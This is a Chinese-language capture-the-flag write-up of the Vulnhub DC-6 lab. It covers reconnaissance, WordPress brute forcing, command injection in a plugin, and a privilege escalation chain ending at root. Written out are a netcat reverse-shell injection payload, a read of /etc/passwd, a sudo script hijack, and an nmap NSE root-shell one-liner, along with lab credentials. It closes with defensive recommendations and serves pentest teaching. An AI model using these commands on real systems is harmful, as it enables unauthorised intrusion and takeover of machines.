DC-6 靶机渗透测试(Vulnhub Writeup)
一、靶机与环境介绍
本次实战目标为 Vulnhub 平台的 DC-6 靶机(作者 @DCAU7),站点主题为 WordPress 博客 wordy。完整攻击链为:信息收集 → 多用户枚举与弱口令爆破 → Activity Monitor 插件远程命令执行 → 凭据泄露横向至 graham → backups.sh 脚本改写切换 jens → nmap 自定义 NSE 脚本提权 root。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.174。
二、信息收集
(一)存活主机扫描
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.1.165
192.168.153.174 08:00:27:e7:6b:7c PCS Systemtechnik GmbH
┌──(root㉿kali)-[~]
└─# nmap -sn 192.168.153.174
Host is up (0.00031s latency).
MAC Address: 08:00:27:E7:6B:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
(二)端口扫描
全端口扫描仅开放 22(SSH)与 80(HTTP);80 端口返回的页面自动跳转到 http://wordy/,提示需要在本机 hosts 中添加域名映射。
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.174
22/tcp open ssh
80/tcp open http
┌──(root㉿kali)-[~]
└─# nmap -p22,80 -sC -sV -O 192.168.153.174
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
(三)修改 hosts 并完成指纹识别
按页面跳转提示在 Kali 的 /etc/hosts 中添加域名映射,再使用 whatweb 识别指纹,确认站点为 WordPress 5.1.1。
┌──(root㉿kali)-[~]
└─# echo "192.168.153.174 wordy" >> /etc/hosts
┌──(root㉿kali)-[~]
└─# whatweb http://wordy
http://wordy [200 OK] Apache[2.4.25], HTML5, JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Title[Wordy – Just another WordPress site], WordPress[5.1.1]
(四)目录扫描
dirsearch 进一步确认站点为标准 WordPress 目录结构,存在 wp-admin、wp-content、wp-login.php 等典型路径。
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.174
[21:57:45] 200 - 18KB - /index.php
[21:57:59] 301 - 321B - /wp-admin -> http://192.168.153.174/wp-admin/
[21:57:59] 301 - 323B - /wp-content -> http://192.168.153.174/wp-content/
[21:57:59] 302 - 0B - /wp-admin/ -> http://wordy/wp-login.php
[21:57:59] 200 - 1KB - /wp-login.php
三、WordPress 用户枚举与弱口令爆破
(一)枚举用户名
使用 wpscan 枚举得到 5 个用户名:admin、jens、graham、mark、sarah,写入 username.txt 备用。
┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy/ -e u
[+] Enumerating Users (via Passive and Aggressive Methods)
[i] User(s) Identified:
[+] admin
[+] jens
[+] graham
[+] mark
[+] sarah
┌──(root㉿kali)-[~]
└─# echo -e 'admin\njens\ngraham\nmark\nsarah' > username.txt
(二)按作者提示简化字典爆破
靶机作者在描述中提示密码形如 k01 结尾,因此用 grep "k01" 从 rockyou.txt 中筛出 2668 行候选密码,再对 5 个用户名批量爆破,命中 mark/helpdesk01。
┌──(root㉿kali)-[~]
└─# cat /usr/share/wordlists/rockyou.txt | grep "k01" > password.txt
┌──(root㉿kali)-[~]
└─# wc -l password.txt
2668 password.txt
┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy/ -U username.txt -P password.txt
[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01
四、Activity Monitor 插件 RCE 反弹 Shell
使用 mark/helpdesk01 登录 WordPress 后台,在 Activity monitor → Tools → IP tools 中,IP or integer 输入框原本用于查询 IP,但未做严格过滤,直接拼接在 dig/系统命令之后。输入 127.0.0.1;id 并点击 Lookup,成功回显 www-data 身份。

由于前端输入框对长度有限制,反弹 Shell payload 较长,需要通过 Burp Repeater 抓包修改或直接用 curl 携带登录 Cookie 提交,在 ip 参数中拼接 nc 反弹命令。
# 攻击机监听
┌──(root㉿kali)-[~]
└─# nc -lvvp 4444
# 在 IP tools 中提交的 payload(curl / Burp 抓包均可)
127.0.0.1;nc -e /bin/bash 192.168.153.162 4444


成功获得 www-data 权限的交互式 Shell:
listening on [any] 4444 ...
connect to [192.168.153.162] from wordy [192.168.153.174] 42890
www-data@dc-6:/var/www/html/wp-admin$ python -c "import pty;pty.spawn('/bin/bash');"
www-data@dc-6:/var/www/html/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
五、横向移动与提权
(一)www-data → graham:凭证明文记录泄露
查看 /etc/passwd 发现系统本地用户 graham、mark、sarah、jens;遍历 /home 目录,在 /home/mark/stuff/things-to-do.txt 待办清单中找到作者留下的线索------新增用户 graham 的初始密码 GSo7isUM1D4,直接 su 切换。
www-data@dc-6:$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
graham:x:1001:1001:Graham,,,:/home/graham:/bin/bash
mark:x:1002:1002:Mark,,,:/home/mark:/bin/bash
sarah:x:1003:1003:Sarah,,,:/home/sarah:/bin/bash
jens:x:1004:1004:Jens,,,:/home/jens:/bin/bash
www-data@dc-6:$ cat /home/mark/stuff/things-to-do.txt
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
www-data@dc-6:$ su graham
Password: GSo7isUM1D4
graham@dc-6:/home/mark/stuff$ id
uid=1001(graham) gid=1001(graham) groups=1001(graham),1005(devs)
(二)graham → jens:可写 backups.sh 脚本改写
graham 执行 sudo -l 发现可以 NOPASSWD 身份 jens 运行 /home/jens/backups.sh;该脚本属主为 jens,但同组 devs 对其具有写权限(rwxrwxr-x)。直接用 echo 覆盖脚本内容为 /bin/bash,再以 jens 身份运行即拿到 jens Shell。
graham@dc-6:$ sudo -l
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
graham@dc-6:$ ls -al /home/jens/backups.sh
-rwxrwxr-x 1 jens devs 50 Apr 26 2019 backups.sh
graham@dc-6:$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
graham@dc-6:$ echo "/bin/bash" > /home/jens/backups.sh
graham@dc-6:$ sudo -u jens /home/jens/backups.sh
jens@dc-6:~$ id
uid=1004(jens) gid=1004(jens) groups=1004(jens),1005(devs)
(三)jens → root:nmap 自定义 NSE 脚本提权
jens 执行 sudo -l 发现可以 NOPASSWD 以 root 身份运行 /usr/bin/nmap,且版本为 7.40 支持自定义 NSE 脚本。在可写目录写入 exploit.nse,使用 os.execute 拉起 root Shell。
jens@dc-6:~$ sudo -l
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
jens@dc-6:~$ nmap --version
Nmap version 7.40
jens@dc-6:~$ echo "os.execute('/bin/bash -p')" > exploit.nse
jens@dc-6:~$ sudo /usr/bin/nmap --script=./exploit.nse
Starting Nmap 7.40 ( https://nmap.org ) at 2026-10-14 00:36 AEST
root@dc-6:/home/jens# id
uid=0(root) gid=0(root) groups=0(root)
(四)root flag
root@dc-6:~# cd /root
root@dc-6:~# ls -la
-rw-r--r-- 1 root root 541 Apr 26 2019 theflag.txt
root@dc-6:~# cat theflag.txt
Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b
Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P
YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'
YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)
Congratulations!!!
Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
六、总结
DC-6 靶机的完整攻击链如下:
-
端口扫描确认 80 端口跳转到 wordy 域名,修改 hosts 后识别 WordPress 5.1.1;
-
wpscan 枚举出 5 个用户名,按作者提示用 grep "k01" 精简 rockyou 字典,爆破得 mark/helpdesk01;
-
登录后台利用 Activity Monitor 插件 IP tools 的命令拼接缺陷,经 Burp/curl 提交反弹 Shell 获得 www-data;
-
从 mark 家目录待办清单中拿到 graham 初始密码,横向切换;
-
利用 graham 可 NOPASSWD 运行 jens 的 backups.sh,且脚本对 devs 组可写,覆盖为 /bin/bash 切换 jens;
-
jens 可 NOPASSWD 以 root 运行 nmap,通过自定义 NSE 脚本 os.execute 提权至 root。
对应的安全建议:① WordPress 后台插件应严格过滤用户输入,禁止拼接系统命令;② 待办清单、配置文件、家目录中不应明文记录账号密码;③ sudoers 中 NOPASSWD 脚本必须属主 root 且对其他用户不可写,避免脚本改写劫持;④ 高版本 nmap 不再支持非交互 NSE 直接拉起 Shell,应及时升级组件并最小化 sudo 权限;⑤ 多用户服务器应按职责分离账号,避免组权限过大导致横向。